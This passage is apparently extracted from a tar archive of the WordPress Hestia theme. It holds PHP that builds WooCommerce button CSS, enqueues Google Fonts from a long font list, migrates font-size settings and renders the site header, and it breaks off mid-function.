.woocommerce #respond input#submit.alt:disabled[disabled],
.woocommerce #respond input#submit.alt:disabled[disabled]:hover,
.woocommerce a.button.alt.disabled,
.woocommerce a.button.alt.disabled:hover,
.woocommerce a.button.alt:disabled,
.woocommerce a.button.alt:disabled:hover,
.woocommerce a.button.alt:disabled[disabled],
.woocommerce a.button.alt:disabled[disabled]:hover,
.woocommerce button.button.alt.disabled,
.woocommerce button.button.alt.disabled:hover,
.woocommerce button.button.alt:disabled,
.woocommerce button.button.alt:disabled:hover,
.woocommerce button.button.alt:disabled[disabled],
.woocommerce button.button.alt:disabled[disabled]:hover,
.woocommerce input.button.alt.disabled,
.woocommerce input.button.alt.disabled:hover,
.woocommerce input.button.alt:disabled,
.woocommerce input.button.alt:disabled:hover,
.woocommerce input.button.alt:disabled[disabled],
.woocommerce input.button.alt:disabled[disabled]:hover,
.woocommerce a.button.woocommerce-Button,
.woocommerce a.button,
.woocommerce a.button:hover,
.woocommerce-account .woocommerce-button,
.woocommerce-account .woocommerce-Button,
.woocommerce-account a.button,
.woocommerce-account .woocommerce-button:hover,
.woocommerce-account .woocommerce-Button:hover,
.woocommerce-account a.button:hover,
#secondary div[id^=woocommerce_price_filter] .price_slider .ui-slider-range,
.footer div[id^=woocommerce_price_filter] .price_slider .ui-slider-range,
div[id^=woocommerce_product_tag_cloud].widget a,
div[id^=woocommerce_widget_cart].widget .buttons .button {
background-color: ' . esc_html( $color_accent ) . ';
}
.added_to_cart.wc-forward,
.woocommerce .single-product div.product form.cart .button,
.woocommerce #respond input#submit,
.woocommerce button.button,
.woocommerce input.button,
#add_payment_method .wc-proceed-to-checkout a.checkout-button,
.woocommerce-cart .wc-proceed-to-checkout a.checkout-button,
.woocommerce-checkout .wc-proceed-to-checkout a.checkout-button,
.woocommerce #respond input#submit.alt,
.woocommerce a.button.alt,
.woocommerce button.button.alt,
.woocommerce input.button.alt,
.woocommerce input.button:disabled,
.woocommerce input.button:disabled[disabled],
.woocommerce a.button.wc-backward,
.woocommerce div[id^=woocommerce_widget_cart].widget .buttons .button,
.woocommerce-account .woocommerce-button,
.woocommerce-account .woocommerce-Button,
.woocommerce-account a.button {
-webkit-box-shadow: 0 2px 2px 0 ' . hestia_hex_rgba( $color_accent, '0.14' ) . ',0 3px 1px -2px ' . hestia_hex_rgba( $color_accent, '0.2' ) . ',0 1px 5px 0 ' . hestia_hex_rgba( $color_accent, '0.12' ) . ';
box-shadow: 0 2px 2px 0 ' . hestia_hex_rgba( $color_accent, '0.14' ) . ',0 3px 1px -2px ' . hestia_hex_rgba( $color_accent, '0.2' ) . ',0 1px 5px 0 ' . hestia_hex_rgba( $color_accent, '0.12' ) . ';
}
.woocommerce nav.woocommerce-pagination ul li span.current,
.added_to_cart.wc-forward:hover,
.woocommerce .single-product div.product form.cart .button:hover,
.woocommerce #respond input#submit:hover,
.woocommerce button.button:hover,
.woocommerce input.button:hover,
#add_payment_method .wc-proceed-to-checkout a.checkout-button:hover,
.woocommerce-cart .wc-proceed-to-checkout a.checkout-button:hover,
.woocommerce-checkout .wc-proceed-to-checkout a.checkout-button:hover,
.woocommerce #respond input#submit.alt:hover,
.woocommerce a.button.alt:hover,
.woocommerce button.button.alt:hover,
.woocommerce input.button.alt:hover,
.woocommerce input.button:disabled:hover,
.woocommerce input.button:disabled[disabled]:hover,
.woocommerce a.button.wc-backward:hover,
.woocommerce div[id^=woocommerce_widget_cart].widget .buttons .button:hover,
.hestia-sidebar-open.btn.btn-rose:hover,
.hestia-sidebar-close.btn.btn-rose:hover,
.pagination span.current:hover,
.woocommerce-account .woocommerce-button:hover,
.woocommerce-account .woocommerce-Button:hover,
.woocommerce-account a.button:hover,
.woocommerce .button:hover {
-webkit-box-shadow: 0 14px 26px -12px' . hestia_hex_rgba( $color_accent, '0.42' ) . ',0 4px 23px 0 rgba(0,0,0,0.12),0 8px 10px -5px ' . hestia_hex_rgba( $color_accent, '0.2' ) . ';
box-shadow: 0 14px 26px -12px ' . hestia_hex_rgba( $color_accent, '0.42' ) . ',0 4px 23px 0 rgba(0,0,0,0.12),0 8px 10px -5px ' . hestia_hex_rgba( $color_accent, '0.2' ) . ';
color: #fff;
}
#secondary div[id^=woocommerce_price_filter] .price_slider .ui-slider-handle,
.footer div[id^=woocommerce_price_filter] .price_slider .ui-slider-handle {
border-color: ' . esc_html( $color_accent ) . ';
}
' : '';
return $custom_css_woocommerce;
}
/**
* Generate gradient second color based on Header Gradient color
*
* @return string RGBA string.
* @since Hestia 1.1.53
*
* @param string $input the color from which to generate the gradient color.
* @param string $opacity the opacity for the generated color.
*/
function hestia_generate_gradient_color( $input, $opacity = '' ) {
$rgb = hestia_hex_rgb( $input );
$rgb[0] = $rgb[0] + 66;
$rgb[1] = $rgb[1] + 28;
$rgb[2] = $rgb[2] - 21;
if ( $rgb[0] >= 255 ) {
$rgb[0] = 255;
}
if ( $rgb[1] >= 255 ) {
$rgb[1] = 255;
}
if ( $rgb[2] <= 0 ) {
$rgb[2] = 0;
}
return hestia_rgb_to_rgba( $rgb, $opacity );
}
}
styles-output/class-hestia-inline-style-manager.php 0000666 00000043221 15111734607 0016553 0 ustar 00 <?php
/**
* Enqueue fonts and run functions that are needed for inline style.
*
* @package Hestia
*/
/**
* Class Hestia_Inline_Style_Manager
*/
class Hestia_Inline_Style_Manager extends Hestia_Abstract_Main {
/**
* Add all the hooks necessary.
*/
public function init() {
add_action( 'wp_enqueue_scripts', array( $this, 'register_google_font' ) );
add_action( 'after_setup_theme', array( $this, 'sync_new_fs' ) );
}
/**
* Register the fonts that are selected in customizer.
*/
public function register_google_font() {
/**
* Headings font family.
*/
$hestia_headings_font = get_theme_mod( 'hestia_headings_font', apply_filters( 'hestia_headings_default', false ) );
if ( ! empty( $hestia_headings_font ) ) {
$this->enqueue_google_font( $hestia_headings_font );
}
/**
* Body font family.
*/
$hestia_body_font = get_theme_mod( 'hestia_body_font', apply_filters( 'hestia_body_font_default', false ) );
if ( ! empty( $hestia_body_font ) ) {
$this->enqueue_google_font( $hestia_body_font );
}
}
/**
* Enqueues a Google Font
*
* @since 1.1.38
*
* @param string $font font string.
*/
private function enqueue_google_font( $font ) {
// Get list of all Google Fonts
$google_fonts = $this->get_google_fonts();
// Make sure font is in our list of fonts
if ( ! $google_fonts || ! in_array( $font, $google_fonts ) ) {
return;
}
// Sanitize handle
$handle = trim( $font );
$handle = strtolower( $handle );
$handle = str_replace( ' ', '-', $handle );
// Sanitize font name
$font = trim( $font );
$base_url = '//fonts.googleapis.com/css';
// Apply the chosen subset from customizer
$subsets = '';
$get_subsets = get_theme_mod( 'hestia_font_subsets', array( 'latin' ) );
if ( ! empty( $get_subsets ) ) {
$font_subsets = array();
foreach ( $get_subsets as $get_subset ) {
$font_subsets[] = $get_subset;
}
$subsets .= implode( ',', $font_subsets );
}
// Weights
$weights = apply_filters( 'hestia_font_weights', array( '300', '400', '500', '700' ) );
// Add weights to URL
if ( ! empty( $weights ) ) {
$font .= ':' . implode( ',', $weights );
}
$query_args = array(
'family' => urlencode( $font ),
);
if ( ! empty( $subsets ) ) {
$query_args['subset'] = urlencode( $subsets );
}
$url = add_query_arg( $query_args, $base_url );
// Enqueue style
wp_enqueue_style( 'hestia-google-font-' . $handle, $url, array(), false );
}
/**
* List of All Google fonts
*
* @since 1.1.38
*/
private function get_google_fonts() {
return apply_filters( 'hestia_google_fonts_array', array( 'ABeeZee', 'Abel', 'Abril Fatface', 'Aclonica', 'Acme', 'Actor', 'Adamina', 'Advent Pro', 'Aguafina Script', 'Akronim', 'Aladin', 'Aldrich', 'Alef', 'Alegreya', 'Alegreya SC', 'Alegreya Sans', 'Alegreya Sans SC', 'Alex Brush', 'Alfa Slab One', 'Alice', 'Alike', 'Alike Angular', 'Allan', 'Allerta', 'Allerta Stencil', 'Allura', 'Almendra', 'Almendra Display', 'Almendra SC', 'Amarante', 'Amaranth', 'Amatic SC', 'Amatica SC', 'Amethysta', 'Amiko', 'Amiri', 'Amita', 'Anaheim', 'Andada', 'Andika', 'Angkor', 'Annie Use Your Telescope', 'Anonymous Pro', 'Antic', 'Antic Didone', 'Antic Slab', 'Anton', 'Arapey', 'Arbutus', 'Arbutus Slab', 'Architects Daughter', 'Archivo Black', 'Archivo Narrow', 'Aref Ruqaa', 'Arima Madurai', 'Arimo', 'Arizonia', 'Armata', 'Artifika', 'Arvo', 'Arya', 'Asap', 'Asar', 'Asset', 'Assistant', 'Astloch', 'Asul', 'Athiti', 'Atma', 'Atomic Age', 'Aubrey', 'Audiowide', 'Autour One', 'Average', 'Average Sans', 'Averia Gruesa Libre', 'Averia Libre', 'Averia Sans Libre', 'Averia Serif Libre', 'Bad Script', 'Baloo', 'Baloo Bhai', 'Baloo Da', 'Baloo Thambi', 'Balthazar', 'Bangers', 'Basic', 'Battambang', 'Baumans', 'Bayon', 'Belgrano', 'Belleza', 'BenchNine', 'Bentham', 'Berkshire Swash', 'Bevan', 'Bigelow Rules', 'Bigshot One', 'Bilbo', 'Bilbo Swash Caps', 'BioRhyme', 'BioRhyme Expanded', 'Biryani', 'Bitter', 'Black Ops One', 'Bokor', 'Bonbon', 'Boogaloo', 'Bowlby One', 'Bowlby One SC', 'Brawler', 'Bree Serif', 'Bubblegum Sans', 'Bubbler One', 'Buda', 'Buenard', 'Bungee', 'Bungee Hairline', 'Bungee Inline', 'Bungee Outline', 'Bungee Shade', 'Butcherman', 'Butterfly Kids', 'Cabin', 'Cabin Condensed', 'Cabin Sketch', 'Caesar Dressing', 'Cagliostro', 'Cairo', 'Calligraffitti', 'Cambay', 'Cambo', 'Candal', 'Cantarell', 'Cantata One', 'Cantora One', 'Capriola', 'Cardo', 'Carme', 'Carrois Gothic', 'Carrois Gothic SC', 'Carter One', 'Catamaran', 'Caudex', 'Caveat', 'Caveat Brush', 'Cedarville Cursive', 'Ceviche One', 'Changa', 'Changa One', 'Chango', 'Chathura', 'Chau Philomene One', 'Chela One', 'Chelsea Market', 'Chenla', 'Cherry Cream Soda', 'Cherry Swash', 'Chewy', 'Chicle', 'Chivo', 'Chonburi', 'Cinzel', 'Cinzel Decorative', 'Clicker Script', 'Coda', 'Coda Caption', 'Codystar', 'Coiny', 'Combo', 'Comfortaa', 'Coming Soon', 'Concert One', 'Condiment', 'Content', 'Contrail One', 'Convergence', 'Cookie', 'Copse', 'Corben', 'Cormorant', 'Cormorant Garamond', 'Cormorant Infant', 'Cormorant SC', 'Cormorant Unicase', 'Cormorant Upright', 'Courgette', 'Cousine', 'Coustard', 'Covered By Your Grace', 'Crafty Girls', 'Creepster', 'Crete Round', 'Crimson Text', 'Croissant One', 'Crushed', 'Cuprum', 'Cutive', 'Cutive Mono', 'Damion', 'Dancing Script', 'Dangrek', 'David Libre', 'Dawning of a New Day', 'Days One', 'Dekko', 'Delius', 'Delius Swash Caps', 'Delius Unicase', 'Della Respira', 'Denk One', 'Devonshire', 'Dhurjati', 'Didact Gothic', 'Diplomata', 'Diplomata SC', 'Domine', 'Donegal One', 'Doppio One', 'Dorsa', 'Dosis', 'Dr Sugiyama', 'Droid Sans', 'Droid Sans Mono', 'Droid Serif', 'Duru Sans', 'Dynalight', 'EB Garamond', 'Eagle Lake', 'Eater', 'Economica', 'Eczar', 'Ek Mukta', 'El Messiri', 'Electrolize', 'Elsie', 'Elsie Swash Caps', 'Emblema One', 'Emilys Candy', 'Engagement', 'Englebert', 'Enriqueta', 'Erica One', 'Esteban', 'Euphoria Script', 'Ewert', 'Exo', 'Exo 2', 'Expletus Sans', 'Fanwood Text', 'Farsan', 'Fascinate', 'Fascinate Inline', 'Faster One', 'Fasthand', 'Fauna One', 'Federant', 'Federo', 'Felipa', 'Fenix', 'Finger Paint', 'Fira Mono', 'Fira Sans', 'Fjalla One', 'Fjord One', 'Flamenco', 'Flavors', 'Fondamento', 'Fontdiner Swanky', 'Forum', 'Francois One', 'Frank Ruhl Libre', 'Freckle Face', 'Fredericka the Great', 'Fredoka One', 'Freehand', 'Fresca', 'Frijole', 'Fruktur', 'Fugaz One', 'GFS Didot', 'GFS Neohellenic', 'Gabriela', 'Gafata', 'Galada', 'Galdeano', 'Galindo', 'Gentium Basic', 'Gentium Book Basic', 'Geo', 'Geostar', 'Geostar Fill', 'Germania One', 'Gidugu', 'Gilda Display', 'Give You Glory', 'Glass Antiqua', 'Glegoo', 'Gloria Hallelujah', 'Goblin One', 'Gochi Hand', 'Gorditas', 'Goudy Bookletter 1911', 'Graduate', 'Grand Hotel', 'Gravitas One', 'Great Vibes', 'Griffy', 'Gruppo', 'Gudea', 'Gurajada', 'Habibi', 'Halant', 'Hammersmith One', 'Hanalei', 'Hanalei Fill', 'Handlee', 'Hanuman', 'Happy Monkey', 'Harmattan', 'Headland One', 'Heebo', 'Henny Penny', 'Herr Von Muellerhoff', 'Hind', 'Hind Guntur', 'Hind Madurai', 'Hind Siliguri', 'Hind Vadodara', 'Holtwood One SC', 'Homemade Apple', 'Homenaje', 'IM Fell DW Pica', 'IM Fell DW Pica SC', 'IM Fell Double Pica', 'IM Fell Double Pica SC', 'IM Fell English', 'IM Fell English SC', 'IM Fell French Canon', 'IM Fell French Canon SC', 'IM Fell Great Primer', 'IM Fell Great Primer SC', 'Iceberg', 'Iceland', 'Imprima', 'Inconsolata', 'Inder', 'Indie Flower', 'Inika', 'Inknut Antiqua', 'Irish Grover', 'Istok Web', 'Italiana', 'Italianno', 'Itim', 'Jacques Francois', 'Jacques Francois Shadow', 'Jaldi', 'Jim Nightshade', 'Jockey One', 'Jolly Lodger', 'Jomhuria', 'Josefin Sans', 'Josefin Slab', 'Joti One', 'Judson', 'Julee', 'Julius Sans One', 'Junge', 'Jura', 'Just Another Hand', 'Just Me Again Down Here', 'Kadwa', 'Kalam', 'Kameron', 'Kanit', 'Kantumruy', 'Karla', 'Karma', 'Katibeh', 'Kaushan Script', 'Kavivanar', 'Kavoon', 'Kdam Thmor', 'Keania One', 'Kelly Slab', 'Kenia', 'Khand', 'Khmer', 'Khula', 'Kite One', 'Knewave', 'Kotta One', 'Koulen', 'Kranky', 'Kreon', 'Kristi', 'Krona One', 'Kumar One', 'Kumar One Outline', 'Kurale', 'La Belle Aurore', 'Laila', 'Lakki Reddy', 'Lalezar', 'Lancelot', 'Lateef', 'Lato', 'League Script', 'Leckerli One', 'Ledger', 'Lekton', 'Lemon', 'Lemonada', 'Libre Baskerville', 'Libre Franklin', 'Life Savers', 'Lilita One', 'Lily Script One', 'Limelight', 'Linden Hill', 'Lobster', 'Lobster Two', 'Londrina Outline', 'Londrina Shadow', 'Londrina Sketch', 'Londrina Solid', 'Lora', 'Love Ya Like A Sister', 'Loved by the King', 'Lovers Quarrel', 'Luckiest Guy', 'Lusitana', 'Lustria', 'Macondo', 'Macondo Swash Caps', 'Mada', 'Magra', 'Maiden Orange', 'Maitree', 'Mako', 'Mallanna', 'Mandali', 'Marcellus', 'Marcellus SC', 'Marck Script', 'Margarine', 'Marko One', 'Marmelad', 'Martel', 'Martel Sans', 'Marvel', 'Mate', 'Mate SC', 'Maven Pro', 'McLaren', 'Meddon', 'MedievalSharp', 'Medula One', 'Meera Inimai', 'Megrim', 'Meie Script', 'Merienda', 'Merienda One', 'Merriweather', 'Merriweather Sans', 'Metal', 'Metal Mania', 'Metamorphous', 'Metrophobic', 'Michroma', 'Milonga', 'Miltonian', 'Miltonian Tattoo', 'Miniver', 'Miriam Libre', 'Mirza', 'Miss Fajardose', 'Mitr', 'Modak', 'Modern Antiqua', 'Mogra', 'Molengo', 'Molle', 'Monda', 'Monofett', 'Monoton', 'Monsieur La Doulaise', 'Montaga', 'Montez', 'Montserrat', 'Montserrat Alternates', 'Montserrat Subrayada', 'Moul', 'Moulpali', 'Mountains of Christmas', 'Mouse Memoirs', 'Mr Bedfort', 'Mr Dafoe', 'Mr De Haviland', 'Mrs Saint Delafield', 'Mrs Sheppards', 'Mukta Vaani', 'Muli', 'Mystery Quest', 'NTR', 'Neucha', 'Neuton', 'New Rocker', 'News Cycle', 'Niconne', 'Nixie One', 'Nobile', 'Nokora', 'Norican', 'Nosifer', 'Nothing You Could Do', 'Noticia Text', 'Noto Sans', 'Noto Serif', 'Nova Cut', 'Nova Flat', 'Nova Mono', 'Nova Oval', 'Nova Round', 'Nova Script', 'Nova Slim', 'Nova Square', 'Numans', 'Nunito', 'Odor Mean Chey', 'Offside', 'Old Standard TT', 'Oldenburg', 'Oleo Script', 'Oleo Script Swash Caps', 'Open Sans', 'Open Sans Condensed', 'Oranienbaum', 'Orbitron', 'Oregano', 'Orienta', 'Original Surfer', 'Oswald', 'Over the Rainbow', 'Overlock', 'Overlock SC', 'Ovo', 'Oxygen', 'Oxygen Mono', 'PT Mono', 'PT Sans', 'PT Sans Caption', 'PT Sans Narrow', 'PT Serif', 'PT Serif Caption', 'Pacifico', 'Palanquin', 'Palanquin Dark', 'Paprika', 'Parisienne', 'Passero One', 'Passion One', 'Pathway Gothic One', 'Patrick Hand', 'Patrick Hand SC', 'Pattaya', 'Patua One', 'Pavanam', 'Paytone One', 'Peddana', 'Peralta', 'Permanent Marker', 'Petit Formal Script', 'Petrona', 'Philosopher', 'Piedra', 'Pinyon Script', 'Pirata One', 'Plaster', 'Play', 'Playball', 'Playfair Display', 'Playfair Display SC', 'Podkova', 'Poiret One', 'Poller One', 'Poly', 'Pompiere', 'Pontano Sans', 'Poppins', 'Port Lligat Sans', 'Port Lligat Slab', 'Pragati Narrow', 'Prata', 'Preahvihear', 'Press Start 2P', 'Pridi', 'Princess Sofia', 'Prociono', 'Prompt', 'Prosto One', 'Proza Libre', 'Puritan', 'Purple Purse', 'Quando', 'Quantico', 'Quattrocento', 'Quattrocento Sans', 'Questrial', 'Quicksand', 'Quintessential', 'Qwigley', 'Racing Sans One', 'Radley', 'Rajdhani', 'Rakkas', 'Raleway', 'Raleway Dots', 'Ramabhadra', 'Ramaraja', 'Rambla', 'Rammetto One', 'Ranchers', 'Rancho', 'Ranga', 'Rasa', 'Rationale', 'Ravi Prakash', 'Redressed', 'Reem Kufi', 'Reenie Beanie', 'Revalia', 'Rhodium Libre', 'Ribeye', 'Ribeye Marrow', 'Righteous', 'Risque', 'Roboto', 'Roboto Condensed', 'Roboto Mono', 'Roboto Slab', 'Rochester', 'Rock Salt', 'Rokkitt', 'Romanesco', 'Ropa Sans', 'Rosario', 'Rosarivo', 'Rouge Script', 'Rozha One', 'Rubik', 'Rubik Mono One', 'Rubik One', 'Ruda', 'Rufina', 'Ruge Boogie', 'Ruluko', 'Rum Raisin', 'Ruslan Display', 'Russo One', 'Ruthie', 'Rye', 'Sacramento', 'Sahitya', 'Sail', 'Salsa', 'Sanchez', 'Sancreek', 'Sansita One', 'Sarala', 'Sarina', 'Sarpanch', 'Satisfy', 'Scada', 'Scheherazade', 'Schoolbell', 'Scope One', 'Seaweed Script', 'Secular One', 'Sevillana', 'Seymour One', 'Shadows Into Light', 'Shadows Into Light Two', 'Shanti', 'Share', 'Share Tech', 'Share Tech Mono', 'Shojumaru', 'Short Stack', 'Shrikhand', 'Siemreap', 'Sigmar One', 'Signika', 'Signika Negative', 'Simonetta', 'Sintony', 'Sirin Stencil', 'Six Caps', 'Skranji', 'Slabo 13px', 'Slabo 27px', 'Slackey', 'Smokum', 'Smythe', 'Sniglet', 'Snippet', 'Snowburst One', 'Sofadi One', 'Sofia', 'Sonsie One', 'Sorts Mill Goudy', 'Source Code Pro', 'Source Sans Pro', 'Source Serif Pro', 'Space Mono', 'Special Elite', 'Spicy Rice', 'Spinnaker', 'Spirax', 'Squada One', 'Sree Krushnadevaraya', 'Sriracha', 'Stalemate', 'Stalinist One', 'Stardos Stencil', 'Stint Ultra Condensed', 'Stint Ultra Expanded', 'Stoke', 'Strait', 'Sue Ellen Francisco', 'Suez One', 'Sumana', 'Sunshiney', 'Supermercado One', 'Sura', 'Suranna', 'Suravaram', 'Suwannaphum', 'Swanky and Moo Moo', 'Syncopate', 'Tangerine', 'Taprom', 'Tauri', 'Taviraj', 'Teko', 'Telex', 'Tenali Ramakrishna', 'Tenor Sans', 'Text Me One', 'The Girl Next Door', 'Tienne', 'Tillana', 'Timmana', 'Tinos', 'Titan One', 'Titillium Web', 'Trade Winds', 'Trirong', 'Trocchi', 'Trochut', 'Trykker', 'Tulpen One', 'Ubuntu', 'Ubuntu Condensed', 'Ubuntu Mono', 'Ultra', 'Uncial Antiqua', 'Underdog', 'Unica One', 'UnifrakturCook', 'UnifrakturMaguntia', 'Unkempt', 'Unlock', 'Unna', 'VT323', 'Vampiro One', 'Varela', 'Varela Round', 'Vast Shadow', 'Vesper Libre', 'Vibur', 'Vidaloka', 'Viga', 'Voces', 'Volkhov', 'Vollkorn', 'Voltaire', 'Waiting for the Sunrise', 'Wallpoet', 'Walter Turncoat', 'Warnes', 'Wellfleet', 'Wendy One', 'Wire One', 'Work Sans', 'Yanone Kaffeesatz', 'Yantramanav', 'Yatra One', 'Yellowtail', 'Yeseva One', 'Yesteryear', 'Yrsa', 'Zeyada' ) );
}
/**
* This function checks if the value stored in the customizer control named '$control_name' is a json object.
* If the value is json it means that the customizer range control stores a value for every device ( mobile, tablet,
* desktop). In this case, for each of those devices it calls '$function_name' that with the following parameters:
* the device and the value for the control on that device.
* '$function_name' returns css code that will be added to inline style.
* If the value is not json then it's int and the '$function_name' function will be called just once for all three
* devices.
*
* @param string $control_name Control name.
* @param array $function_name Function to be called.
*
* @since 1.1.38
* @return string
*/
protected function get_inline_style( $control_name, $function_name ) {
$control_value = get_theme_mod( $control_name );
if ( empty( $control_value ) ) {
return '';
}
$custom_css = '';
if ( hestia_is_json( $control_value ) ) {
$control_value = json_decode( $control_value, true );
if ( ! empty( $control_value ) ) {
foreach ( $control_value as $key => $value ) {
$custom_css .= call_user_func( $function_name, $value, $key );
}
}
} else {
$custom_css .= call_user_func( $function_name, $control_value );
}
return $custom_css;
}
/**
* Function to import font sizes from old controls to new ones.
*
* @since 1.1.58
*/
public function sync_new_fs() {
$execute = get_option( 'hestia_sync_font_sizes' );
if ( $execute !== false ) {
return;
}
$headings_fs_old = get_theme_mod( 'hestia_headings_font_size' );
$body_fs_old = get_theme_mod( 'hestia_body_font_size' );
if ( empty( $body_fs_old ) && empty( $headings_fs_old ) ) {
return;
}
if ( ! empty( $headings_fs_old ) ) {
$decoded = $this->calculate_fs_value( $headings_fs_old, 37 );
set_theme_mod( 'hestia_section_primary_headings_fs', $decoded );
set_theme_mod( 'hestia_section_secondary_headings_fs', $decoded );
set_theme_mod( 'hestia_header_titles_fs', $decoded );
set_theme_mod( 'hestia_post_page_headings_fs', $decoded );
}
if ( ! empty( $body_fs_old ) ) {
$decoded = $this->calculate_fs_value( $body_fs_old, 12 );
set_theme_mod( 'hestia_section_content_fs', $decoded );
set_theme_mod( 'hestia_post_page_content_fs', $decoded );
}
update_option( 'hestia_sync_font_sizes', true );
}
/**
* Calculate new value for the new font size control based on the old control.
*
* @param string $old_value Value from the old control.
* @param int $decrease_rate Value to substract from the old value.
*
* @return string
*/
private function calculate_fs_value( $old_value, $decrease_rate ) {
$decoded = json_decode( $old_value );
if ( ! hestia_is_json( $old_value ) ) {
$tmp_array = array(
'desktop' => floor( $decoded - $decrease_rate ) > 25 ? 25 : ( floor( $decoded - $decrease_rate ) < - 25 ? - 25 : floor( $decoded - $decrease_rate ) ),
'mobile' => 0,
'tablet' => 0,
);
$decoded = json_encode( $tmp_array );
} else {
$decoded->desktop = floor( $decoded->desktop - $decrease_rate ) > 25 ? 25 : ( floor( $decoded->desktop - $decrease_rate ) < - 25 ? - 25 : floor( $decoded->desktop - $decrease_rate ) );
$decoded->tablet = floor( $decoded->tablet - $decrease_rate ) > 25 ? 25 : ( floor( $decoded->tablet - $decrease_rate ) < - 25 ? - 25 : floor( $decoded->tablet - $decrease_rate ) );
$decoded->mobile = floor( $decoded->mobile - $decrease_rate ) > 25 ? 25 : ( floor( $decoded->mobile - $decrease_rate ) < - 25 ? - 25 : floor( $decoded->mobile - $decrease_rate ) );
$decoded = json_encode( $decoded );
}
return $decoded;
}
/**
* This function is called by each function that adds css if the control have media queries enabled.
*
* @param string $dimension Query dimension.
* @param string $custom_css Css.
*
* @return string
*/
public function add_media_query( $dimension, $custom_css ) {
switch ( $dimension ) {
case 'desktop':
$custom_css = '@media (min-width: 769px){' . $custom_css . '}';
break;
break;
case 'tablet':
$custom_css = '@media (max-width: 768px){' . $custom_css . '}';
break;
case 'mobile':
$custom_css = '@media (max-width: 480px){' . $custom_css . '}';
break;
}
return $custom_css;
}
}
main/class-hestia-header.php 0000666 00000027636 15111734607 0012036 0 ustar 00 <?php
/**
* Header View Manager
*
* @package Hestia
*/
/**
* Class Hestia_Header_Manager
*/
class Hestia_Header extends Hestia_Abstract_Main {
/**
* Add hooks for the front end.
*/
public function init() {
add_action( 'hestia_do_header', array( $this, 'the_header_content' ) );
add_action( 'hestia_do_header', array( $this, 'hidden_sidebars' ) );
add_action( 'wp_enqueue_scripts', array( $this, 'top_bar_style' ) );
add_filter( 'wp_nav_menu_args', array( $this, 'modify_primary_menu' ) );
}
/**
* Render the header content.
*/
public function the_header_content() {
hestia_before_header_trigger();
$this->the_top_bar();
?>
<nav class="navbar navbar-default navbar-fixed-top <?php echo esc_attr( $this->header_class() ); ?>">
<?php hestia_before_header_content_trigger(); ?>
<div class="container">
<div class="navbar-header">
<div class="title-logo-wrapper">
<a class="navbar-brand" href="<?php echo esc_url( home_url( '/' ) ); ?>"
title="<?php bloginfo( 'name' ); ?>">
<?php echo $this->logo(); ?></a>
</div>
</div>
<?php
$this->navbar_sidebar();
wp_nav_menu(
array(
'theme_location' => 'primary',
'container' => 'div',
'container_class' => 'collapse navbar-collapse',
'container_id' => 'main-navigation',
'menu_class' => 'nav navbar-nav navbar-right',
'fallback_cb' => 'Hestia_Bootstrap_Navwalker::fallback',
'walker' => new Hestia_Bootstrap_Navwalker(),
)
);
hestia_before_navbar_toggle_trigger();
if ( has_nav_menu( 'primary' ) || current_user_can( 'edit_theme_options' ) ) :
?>
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#main-navigation">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="sr-only"><?php esc_html_e( 'Toggle Navigation', 'hestia' ); ?></span>
</button>
<?php
endif;
?>
</div>
<?php hestia_after_header_content_trigger(); ?>
</nav>
<?php
hestia_after_header_trigger();
}
/**
* Render the navigation bar Sidebar.
*/
public function navbar_sidebar() {
$header_alignment = get_theme_mod( 'hestia_header_alignment', 'left' );
if ( $header_alignment !== 'right' ) {
return;
}
if ( is_active_sidebar( 'header-sidebar' ) ) {
?>
<div class="header-sidebar-wrapper">
<div class="header-widgets-wrapper">
<?php
dynamic_sidebar( 'header-sidebar' );
?>
</div>
</div>
<?php
}
if ( ! is_active_sidebar( 'header-sidebar' ) && is_customize_preview() ) {
hestia_sidebar_placeholder( 'hestia-sidebar-header', 'header-sidebar', 'no-variable-width header-sidebar-wrapper' );
}
}
/**
* Display the hidden sidebars to enable the customizer panels.
*/
public function hidden_sidebars() {
echo '<div style="display: none">';
if ( is_customize_preview() ) {
dynamic_sidebar( 'sidebar-top-bar' );
dynamic_sidebar( 'header-sidebar' );
dynamic_sidebar( 'subscribe-widgets' );
dynamic_sidebar( 'sidebar-big-title' );
}
echo '</div>';
}
/**
* Get the header class.
*
* @return string
*/
private function header_class() {
$class = '';
$is_nav_transparent = get_theme_mod( 'hestia_navbar_transparent', true );
if ( get_option( 'show_on_front' ) === 'page' && is_front_page() && ! is_page_template() && $is_nav_transparent ) {
$class = 'navbar-color-on-scroll navbar-transparent';
}
$header_alignment = get_theme_mod( 'hestia_header_alignment', 'left' );
if ( ! empty( $header_alignment ) ) {
$class .= ' hestia_' . $header_alignment;
}
$has_full_screen_menu = get_theme_mod( 'hestia_full_screen_menu', false );
if ( (bool) $has_full_screen_menu === true ) {
$class .= ' full-screen-menu';
}
$is_top_bar_hidden = get_theme_mod( 'hestia_top_bar_hide', true );
if ( (bool) $is_top_bar_hidden === false ) {
$class .= ' header-with-topbar';
}
if ( ! is_home() && ! is_front_page() ) {
$class .= ' navbar-not-transparent';
}
return $class;
}
/**
* Display your custom logo if present.
*
* @since Hestia 1.0
*/
private function logo() {
if ( get_theme_mod( 'custom_logo' ) ) {
$logo = wp_get_attachment_image_src( get_theme_mod( 'custom_logo' ), 'full' );
$alt_attribute = get_post_meta( get_theme_mod( 'custom_logo' ), '_wp_attachment_image_alt', true );
if ( empty( $alt_attribute ) ) {
$alt_attribute = get_bloginfo( 'name' );
}
$logo = '<img src="' . esc_url( $logo[0] ) . '" alt="' . esc_attr( $alt_attribute ) . '">';
} else {
$logo = '<p>' . get_bloginfo( 'name' ) . '</p>';
}
return $logo;
}
/**
* The top bar markup.
*/
private function the_top_bar() {
$top_bar_is_hidden = get_theme_mod( 'hestia_top_bar_hide', true );
if ( (bool) $top_bar_is_hidden === true ) {
return;
}
$top_bar_wrapper_class = $this->get_top_bar_wrapper_class();
echo '<div class="' . esc_attr( $top_bar_wrapper_class ) . '">';
$this->header_top_bar();
echo '</div>';
}
/**
* Get top bar wrapper classes.
*/
private function get_top_bar_wrapper_class() {
$top_bar_class = array( 'hestia-top-bar' );
$has_placeholder = $this->top_bar_has_placeholder();
if ( $has_placeholder ) {
array_push( $top_bar_class, 'placeholder' );
}
return implode( ' ', $top_bar_class );
}
/**
* Check if placeholder should be visible.
*
* @return bool
*/
private function top_bar_has_placeholder() {
return is_customize_preview() && current_user_can( 'edit_theme_options' ) && ! has_nav_menu( 'top-bar-menu' ) && ! is_active_sidebar( 'sidebar-top-bar' );
}
/**
* Display placeholder on top bar.
*/
private function maybe_render_placeholder() {
